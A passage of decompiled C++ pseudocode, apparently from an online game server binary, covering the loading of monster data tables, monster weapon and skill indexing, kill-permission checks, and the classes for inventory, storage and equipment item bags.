AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005583F0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x16u, 7u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005584A0) -------------------------------------------------------- BinaryData *__thiscall MobDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x6Cu); CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 168)); memset(&v1[3].baseclass_0.m_pHead, 0, 0xA0u); *(_WORD *)&v1[6].baseclass_0.m_sFileMD5.n8_name[12] = 0; v1[6].baseclass_0.m_sFileMD5.n8_name[14] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 392)); memset(&v1[7].baseclass_0.m_sFileMD5.n8_name[16], 0, 0x9Cu); CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 608)); memset(&v1[11].baseclass_0.m_nDataArraySize, 0, 0x84u); *(_WORD *)&v1[13].baseclass_0.m_sFileMD5.n8_name[4] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 804)); *(_DWORD *)&v1[14].baseclass_0.m_sFileMD5.n8_name[8] = 0; *(_DWORD *)&v1[14].baseclass_0.m_sFileMD5.n8_name[12] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 872)); *(_DWORD *)&v1[15].baseclass_0.m_sFileMD5.n8_name[16] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 936)); *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[20] = 0; *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[24] = 0; *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[28] = 0; v1[16].baseclass_0.m_pHead = 0; v1[16].baseclass_0.m_pData = 0; v1[16].baseclass_0.m_pDataArray = 0; v1[17].baseclass_0.m_nFileSize = 0; v1[17].baseclass_0.m_nBFSize = 0; LOWORD(v1[17].baseclass_0.m_nDataArraySize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 1032)); v1[18].baseclass_0.m_nFileCheckSum = 0; *(_WORD *)&v1[18].baseclass_0.m_sFileMD5.n8_name[0] = 0; v1[18].baseclass_0.m_sFileMD5.n8_name[2] = 0; return v1; } //----- (005585D0) -------------------------------------------------------- void __thiscall MobDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 1032)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 936)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 872)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 804)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 608)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 392)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 168)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00558680) -------------------------------------------------------- void __thiscall MobDataBox::_MobDataBox(MobDataBox *this) { MobDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mdb_index; if ( v2 ) operator delete(v2); BTree::_BTree(&v1->mdb_btree); MobDataBox::__unnamed::___unnamed(&v1->mdb_BinData.mobinf.baseclass_0); } //----- (005586F0) -------------------------------------------------------- void __thiscall MobDataBox::mdb_Load(MobDataBox *this) { MobDataBox *v1; // esi@1 unsigned int v2; // eax@1 CDataReader::HEAD *v3; // ecx@1 unsigned int v4; // edi@3 void *v5; // eax@5 void *v6; // eax@8 int v7; // ebx@10 void *v8; // eax@11 int v9; // eax@13 unsigned int v10; // eax@19 unsigned int v11; // edi@19 void *v12; // eax@21 void *v13; // eax@25 void *v14; // eax@29 unsigned int v15; // edx@32 int v16; // eax@32 unsigned int v17; // ebp@34 void *v18; // eax@36 int v19; // edi@38 void *v20; // eax@39 int v21; // ebx@41 void *v22; // eax@42 int v23; // ebx@48 int v24; // eax@48 void *v25; // eax@54 void *v26; // eax@57 void *v27; // eax@60 unsigned int v28; // edi@62 void *v29; // eax@64 unsigned int v30; // edi@70 void *v31; // eax@72 MobInfoServer *v32; // eax@78 unsigned int v33; // ebx@79 void *v34; // eax@81 unsigned int v35; // ebp@86 unsigned int v36; // ebx@86 void *v37; // edi@88 unsigned __int16 v38; // ax@90 int id; // [sp+10h] [bp-50h]@7 int ida; // [sp+10h] [bp-50h]@38 signed int nMobKillAnnounce; // [sp+14h] [bp-4Ch]@1 unsigned int nMobKillLog; // [sp+18h] [bp-48h]@1 char buffer[64]; // [sp+1Ch] [bp-44h]@17 v1 = this; BinaryDataBox::bdb_ReadData(&this->mdb_BinData.mobinf, "../9Data/Shine/MobInfo.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobspec, "../9Data/Shine/MobSpecies.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobweapon, "../9Data/Shine/MobWeapon.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobinfserv, "../9Data/Shine/MobInfoServer.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobkillannounce, "../9Data/Shine/MobKillAnnounce.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobkilllog, "../9Data/Shine/MobKillLog.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.moblifetime, "../9Data/Shine/MobLifeTime.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobKillablePermission, "../9Data/Shine/MobKillAble.shn"); v2 = v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0.m_pHead; v1->mdb_mobspacies = v2; nMobKillAnnounce = v3->nNumOfRecord; nMobKillLog = v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord != v2 || v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord != v2 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Mob number mismatch", 0); v4 = 0; if ( v1->mdb_mobspacies > 0 ) { while ( 1 ) { v5 = v4 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v4) : &v1->mdb_BinData.mobinf.bdb_defaultblock; id = *(_WORD *)v5; v6 = v4 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v4) : &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v7 = *(_DWORD *)v6; v8 = v4 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v4) : &v1->mdb_BinData.mobspec.bdb_defaultblock; v9 = *(_WORD *)v8; if ( id != v7 ) break; if ( v7 != v9 ) break; ++v4; if ( v4 >= v1->mdb_mobspacies ) goto LABEL_18; } sprintf(buffer, "%d/%d/%d"); AssertClass::ac_AssertFail(&shineassert, "Conflict ", buffer); } LABEL_18: ShineExit("MobDataBox::mdb_Load"); } v10 = v1->mdb_mobspacies; v11 = 0; v1->mdb_maxmobhandle = 0; if ( v10 > 0 ) { do { if ( v11 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v11); else v12 = &v1->mdb_BinData.mobinf.bdb_defaultblock; if ( v1->mdb_maxmobhandle < *(_WORD *)v12 ) { if ( v11 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v11); else v13 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v1->mdb_maxmobhandle = *(_WORD *)v13; } ++v11; } while ( v11 < v1->mdb_mobspacies ); } v14 = operator new__(40 * (v1->mdb_maxmobhandle + 1)); v1->mdb_index = (MobDataBox::MobDataBoxIndex *)v14; if ( v14 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Memory leak for index in MobInfo.dat", v1->mdb_maxmobhandle + 1); ShineExit("MobDataBox::mdb_Load"); } v15 = 0; v16 = 0; do { v1->mdb_index[v16].data = 0; v1->mdb_index[v16].serv = 0; v1->mdb_index[v16].species = 0; v1->mdb_index[v16].MobIndexFlag._bf0 &= 0xFEu; v1->mdb_index[v16].MobIndexFlag._bf0 &= 0xFDu; v1->mdb_index[v16].p_mobkillannounce = 0; v1->mdb_index[v16].p_mobkilllog = 0; v1->mdb_index[v16].p_MobLifeTime = 0; v1->mdb_index[v16].registindex = -1; v1->mdb_index[v16].weapon = 0; v1->mdb_index[v16].weaponnumber = 0; ++v15; ++v16; } while ( v15 <= v1->mdb_maxmobhandle ); v17 = 0; if ( v1->mdb_mobspacies ) { do { if ( v17 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v18 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v17); else v18 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v19 = *(_WORD *)v18; ida = *(_WORD *)v18; if ( v17 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v20 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v17); else v20 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v21 = *(_DWORD *)v20; if ( v17 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v17); else v22 = &v1->mdb_BinData.mobspec.bdb_defaultblock; if ( v19 != v21 || v19 != *(_WORD *)v22 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : DataOrder mismatch", v19); ShineExit("MobDataBox::mdb_Load"); } v23 = v19; v24 = (int)&v1->mdb_index[v19]; if ( *(_DWORD *)v24 || *(_DWORD *)(v24 + 4) || *(_DWORD *)(v24 + 16) ) { AssertClass::ac_AssertFail(&shineassert, "Data duplicate in MobInfo.shn", v19); ShineExit("MobDataBox::mdb_Load"); } if ( v17 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v25 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v17); else v25 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v1->mdb_index[v23].data = (MobInfo *)v25; if ( v17 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v26 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v17); else v26 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v1->mdb_index[v23].serv = (MobInfoServer *)v26; if ( v17 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v27 = CDataReader::GetRecord(&v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v17); else v27 = &v1->mdb_BinData.mobspec.bdb_defaultblock; v1->mdb_index[v23].species = (MobSpecies *)v27; v28 = 0; if ( nMobKillAnnounce > 0 ) { while ( 1 ) { v29 = v28 < v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord(&v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0, v28) : &v1->mdb_BinData.mobkillannounce.bdb_defaultblock; if ( *(_DWORD *)v29 == ida ) break; ++v28; if ( (signed int)v28 >= nMobKillAnnounce ) goto LABEL_70; } v1->mdb_index[v23].p_mobkillannounce = (MobKillAnnounce *)v29; } LABEL_70: v30 = 0; if ( (signed int)nMobKillLog > 0 ) { while ( 1 ) { v31 = v30 < v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0, v30) : &v1->mdb_BinData.mobkilllog.bdb_defaultblock; if ( *(_DWORD *)v31 == ida ) break; ++v30; if ( (signed int)v30 >= (signed int)nMobKillLog ) goto LABEL_78; } v1->mdb_index[v23].p_mobkilllog = (MobKillLog *)v31; } LABEL_78: v32 = v1->mdb_index[v23].serv; BTree::bt_Insert(&v1->mdb_btree, v32->InxName, v32->ID); ++v17; } while ( v17 < v1->mdb_mobspacies ); } v33 = 0; if ( v1->mdb_mobspacies ) { do { if ( v33 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v34 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v33); else v34 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; if ( *((_BYTE *)v34 + 112) != 45 ) v1->mdb_index[*(_DWORD *)v34].registindex = MobResistTable::operator__(&mobresisttable, (char *)v34 + 112); ++v33; } while ( v33 < v1->mdb_mobspacies ); } v35 = v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v36 = 0; if ( v35 ) { do { if ( v36 < v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v37 = CDataReader::GetRecord(&v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0, v36); else v37 = &v1->mdb_BinData.moblifetime.bdb_defaultblock; v38 = MobDataBox::mdb_2MobID(v1, (const char *)v37); if ( v38 != -1 ) v1->mdb_index[v38].p_MobLifeTime = *((_WORD *)v37 + 16); ++v36; } while ( v36 < v35 ); } } //----- (00558CB0) -------------------------------------------------------- void __thiscall MobDataBox::mdb_SkillStore(MobDataBox *this, BTree *skillbtree, BTree *abstrbtree) { MobDataBox *v3; // edi@1 unsigned int i; // ebx@1 void *v5; // esi@3 unsigned __int16 v6; // ax@6 int v7; // esi@6 unsigned int v8; // ebp@10 int v9; // esi@11 MobDataBox::MobDataBoxIndex *v10; // edx@12 void *v11; // eax@13 unsigned int v12; // eax@17 void *v13; // ebx@19 int v14; // esi@22 int v15; // esi@26 char v16; // al@29 unsigned int v17; // eax@31 signed int v18; // edx@31 int sub; // [sp+10h] [bp-4h]@17 v3 = this; for ( i = 0; ; ++i ) { v5 = i < v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0, i) : &v3->mdb_BinData.mobweapon.bdb_defaultblock; if ( v5 == &v3->mdb_BinData.mobweapon.bdb_defaultblock ) break; v6 = BTree::operator__(&v3->mdb_btree, (const char *)v5 + 4); v7 = *(_DWORD *)v5; if ( v6 != v7 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Error in Monster Weapon", v7); ShineExit("MobDataBox::mdb_SkillStore"); } ++v3->mdb_index[v6].weaponnumber; } v8 = 0; if ( v3->mdb_maxmobhandle != -1 ) { v9 = 0; do { v10 = v3->mdb_index; if ( v10[v9].weaponnumber ) { v11 = v10[v9].weapon; if ( v11 ) { operator delete(v11); v3->mdb_index[v9].weapon = 0; } v3->mdb_index[v9].weapon = (MobDataBox::MobDataBoxIndex::_MobWeaponIndex *)operator new__(12 * v3->mdb_index[v9].weaponnumber); } v3->mdb_index[v9].weaponnumber = 0; ++v8; ++v9; } while ( v8 < v3->mdb_maxmobhandle + 1 ); } v12 = 0; for ( sub = 0; ; ++sub ) { v13 = v12 < v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0, v12) : &v3->mdb_BinData.mobweapon.bdb_defaultblock; if ( v13 == &v3->mdb_BinData.mobweapon.bdb_defaultblock ) break; v14 = (unsigned __int16)BTree::operator__(&v3->mdb_btree, (const char *)v13 + 4); if ( v14 != *(_DWORD *)v13 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Error in Monster Weapon", *(_DWORD *)v13); ShineExit("MobDataBox::mdb_SkillStore"); } if ( *((_BYTE *)v13 + 37) == 45 ) { v15 = v14; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill = -1; } else { v15 = v14; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill = BTree::operator__( skillbtree, (const char *)v13 + 37); if ( v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill == -1 ) AssertClass::ac_AssertFail( &shineassert, "MobDataBox::mdb_SkillStore : Invalid MobSkill Name", (const char *)v13 + 37); } v16 = *((_BYTE *)v13 + 117); if ( v16 != 45 && v16 ) { v17 = BTree::operator__(abstrbtree, (const char *)v13 + 117); v18 = 412; if ( v17 != -1 ) v18 = v17; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate = v18; if ( v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate == 412 ) AssertClass::ac_AssertFail( &shineassert, "MobDataBox::mdb_SkillStore : Invalid AbState Name", (const char *)v13 + 117); } else { v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate = 412; *((_WORD *)v13 + 76) = 0; } v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber++].weapon = (MobWeapon *)v13; v12 = sub + 1; } } //----- (00558F70) -------------------------------------------------------- bool __thiscall MobDataBox::mdb_CanIKill(MobDataBox *this, unsigned __int16 mobID, MobKillerIdentity identity) { bool result; // al@2 MobKillType v4; // esi@3 unsigned int v5; // edx@6 CDataReader *v6; // ecx@6 void *v7; // eax@7 if ( mobID == -1 ) { result = 1; } else { v4 = this->mdb_index[mobID].serv->MobKillInx; if ( (signed int)v4 >= 0 && (signed int)v4 < 2 ) { v5 = this->mdb_BinData.mobKillablePermission.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = (CDataReader *)&this->mdb_BinData.mobKillablePermission; if ( v4 < v5 ) v7 = CDataReader::GetRecord(v6, v4); else v7 = &v6[1]; if ( v7 ) { switch ( identity ) { case 0: result = *((_BYTE *)v7 + 4) != 0; break; case 1: result = *((_BYTE *)v7 + 5) != 0; break; case 2: result = *((_BYTE *)v7 + 6) != 0; break; case 3: goto $L69955; default: AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : Unknown identity", identity); $L69955: result = 1; break; } } else { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : mobKillAble is NULL", v4); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : Invalid MobKillType", mobID); result = 0; } } return result; } //----- (00559060) -------------------------------------------------------- void __thiscall MobDataBox::MobDataBox(MobDataBox *this, char *pdatafn) { MobDataBox *v2; // esi@1 v2 = this; MobDataBox::__unnamed::__unnamed(&this->mdb_BinData.mobinf.baseclass_0); BTree::BTree(&v2->mdb_btree); v2->mdb_index = 0; v2->mdb_maxmobhandle = 0; if ( pdatafn != (char *)-1 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::ReadData called", 0); ShineExit("MobDataBox::ReadData"); } } //----- (005590F0) -------------------------------------------------------- ItemBag *__thiscall ShineObjectClass::ShineObject::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(CharacterInventoryManager *this, CharacterInventory *ci) { return (ItemBag *)ci; } //----- (00559100) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_inven(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_Inventory.baseclass_0; } //----- (00559110) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_quest(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_QuestBox.baseclass_0; } //----- (00559120) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_minihouse(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_MiniHouse.baseclass_0; } //----- (00559130) -------------------------------------------------------- int __thiscall ItemBag::ib_ItemCount_Output(ItemBag *this) { ItemBag *v1; // esi@1 int v2; // ebx@1 int v3; // edi@1 int v4; // eax@2 v1 = this; v2 = 0; v3 = 0; if ( ((int (*)(void))this->vfptr->ib_BagSizeOutput)() > 0 ) { do { v4 = (int)v1->vfptr->ib_GetInventoryCell(v1, v3); if ( v4 && *(_WORD *)(v4 + 8) != -1 ) ++v2; ++v3; } while ( v3 < v1->vfptr->ib_BagSizeOutput(v1) ); } return v2; } //----- (00559170) -------------------------------------------------------- char __thiscall ItemBoxIterator::ibi_Next(ItemBoxIterator *this) { ItemBoxIterator *v1; // esi@1 int v2; // eax@2 ItemBoxIteratorVtbl *v3; // edx@3 v1 = this; while ( 1 ) { v2 = v1->ibi_finger; if ( v2 >= v1->ibi_Limit - 1 ) break; v3 = v1->vfptr; v1->ibi_finger = v2 + 1; if ( (unsigned __int8)v3->ibi_isvalid(v1) ) return 1; } return 0; } //----- (005591A0) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemBoxIterator::ibi_GetCell(ItemBoxIterator *this) { ItemInventoryCell *result; // eax@2 if ( this->ibi_itembag ) result = (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->ibi_itembag)(this->ibi_finger); else result = 0; return result; } //----- (005591C0) -------------------------------------------------------- void __thiscall ItemBag::_ItemBag(ItemBag *this) { this->vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); //----- (005591D0) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_StoreItem(ItemInventoryCell *this, ItemTotalInformation *itemtemp) { memcpy(this, itemtemp, 0x6Fu); this->iic_AttrProc = ItemAttributeClassContainer::operator__(&itmattcontainer, this->iic_Item.iti_itemstruct.itemid); } //----- (00559200) -------------------------------------------------------- void __thiscall ItemInventory::_ItemInventory(ItemInventory *this) { ItemInventory *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemInventory::_vftable_; _eh_vector_destructor_iterator_( this->ii_Array, 0x74u, 144, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E62A4: using guessed type int (__stdcall *ItemInventory___vftable_[2])(int slot); //----- (00559260) -------------------------------------------------------- int __thiscall ItemInventory::ib_BagSizeInput(ItemInventory *this, ChargedEffectContainer *cec) { char v2; // al@1 int result; // eax@2 v2 = cec->cec_MoreInven; if ( (unsigned __int8)v2 <= 4u ) result = 24 * ((unsigned __int8)v2 + 2); else result = 144; return result; } //----- (00559290) -------------------------------------------------------- int __thiscall ItemAccountStorage::ib_BagSizeOutput(ItemAccountStorage *this) { return 144; } //----- (005592A0) -------------------------------------------------------- char __thiscall ItemInventory::ib_GetInvenType(ItemInventory *this) { return 9; } //----- (005592B0) -------------------------------------------------------- void __thiscall ItemEquipment::_ItemEquipment(ItemEquipment *this) { ItemEquipment *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemEquipment::_vftable_; _eh_vector_destructor_iterator_( this->ie_Array, 0x74u, 29, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E62B4: using guessed type int (__stdcall *ItemEquipment___vftable_[2])(int slot); //----- (00559310) -------------------------------------------------------- int __thiscall ItemEquipment::ib_BagSizeInput(ItemEquipment *this, ChargedEffectContainer *cec) { return 29; } //----- (00559320) -------------------------------------------------------- int __thiscall ItemEquipment::ib_BagSizeOutput(ItemEquipment *this) { return 29; } //----- (00559330) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineBandit::so_ObjectType(ItemEquipment *this) { return 8; } //----- (00559340) -------------------------------------------------------- void __thiscall ItemQuestItemBox::_ItemQuestItemBox(ItemQuestItemBox *this) { ItemQuestItemBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemQuestItemBox::_vftable_; _eh_vector_destructor_iterator_( this->iqb_Array, 0x74u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E62C4: using guessed type int (__stdcall *ItemQuestItemBox___vftable_[2])(int slot); //----- (005593A0) -------------------------------------------------------- int __thiscall ItemQuestItemBox::ib_BagSizeInput(ItemQuestItemBox *this, ChargedEffectContainer *cec) { return 5; } //----- (005593B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDoor::so_ObjectType(ItemQuestItemBox *this) { return 7; } //----- (005593C0) -------------------------------------------------------- void __thiscall ItemAccountStorage::_ItemAccountStorage(ItemAccountStorage *this) { ItemAccountStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemAccountStorage::_vftable_; _eh_vector_destructor_iterator_( this->ias_Array, 0x74u, 144, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E62D4: using guessed type int (__stdcall *ItemAccountStorage___vftable_[2])(int slot); //----- (00559420) -------------------------------------------------------- int __thiscall ItemAccountStorage::ib_BagSizeInput(ItemAccountStorage *this, ChargedEffectContainer *cec) { char v2; // al@1 int result; // eax@2 v2 = cec->cec_MoreStorage; if ( (unsigned __int8)v2 <= 2u ) result = 36 * ((unsigned __int8)v2 + 2); else result = 144; return result; } //----- (00559450) -------------------------------------------------------- char __thiscall ItemAccountStorage::ib_GetInvenType(ItemAccountStorage *this) { return 6; } //----- (00559460) -------------------------------------------------------- void __thiscall ItemMiniHouseBox::_ItemMiniHouseBox(ItemMiniHouseBox *this) { ItemMiniHouseBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemMiniHouseBox::_vftable_; _eh_vector_destructor_iterator_( this->imhb_Array, 0x74u, 35, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E62E4: using guessed type int (__stdcall *ItemMiniHouseBox___vftable_[2])(int slot); //----- (005594C0) -------------------------------------------------------- int __thiscall ItemMiniHouseBox::ib_BagSizeInput(ItemMiniHouseBox *this, ChargedEffectContainer *cec) { return 35; } //----- (005594D0) -------------------------------------------------------- int __thiscall ItemMiniHouseBox::ib_BagSizeOutput(ItemMiniHouseBox *this) { return 35; } //----- (005594E0) -------------------------------------------------------- char __thiscall ItemMiniHouseBox::ib_GetInvenType(ItemMiniHouseBox *this) { return 12; } //----- (005594F0) -------------------------------------------------------- void __thiscall ItemGuildStorage::_ItemGuildStorage(ItemGuildStorage *this) { ItemGuildStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildStorage::_vftable_; _eh_vector_destructor_iterator_( this->igs_Array, 0x74u, 36, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E62F4: using guessed type int (__stdcall *ItemGuildStorage___vftable_[2])(int slot); //----- (00559550) -------------------------------------------------------- int __thiscall ItemGuildStorage::ib_BagSizeOutput(ItemGuildStorage *this) { return 36; } //----- (00559560) -------------------------------------------------------- char __thiscall ItemGuildStorage::ib_GetInvenType(ItemGuildStorage *this) { return 4; } //----- (00559570) -------------------------------------------------------- void __thiscall ItemGuildAcademyRewardStorage::_ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this) { ItemGuildAcademyRewardStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildAcademyRewardStorage::_vftable_; _eh_vector_destructor_iterator_( this->igars_Array, 0x74u, 72, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } 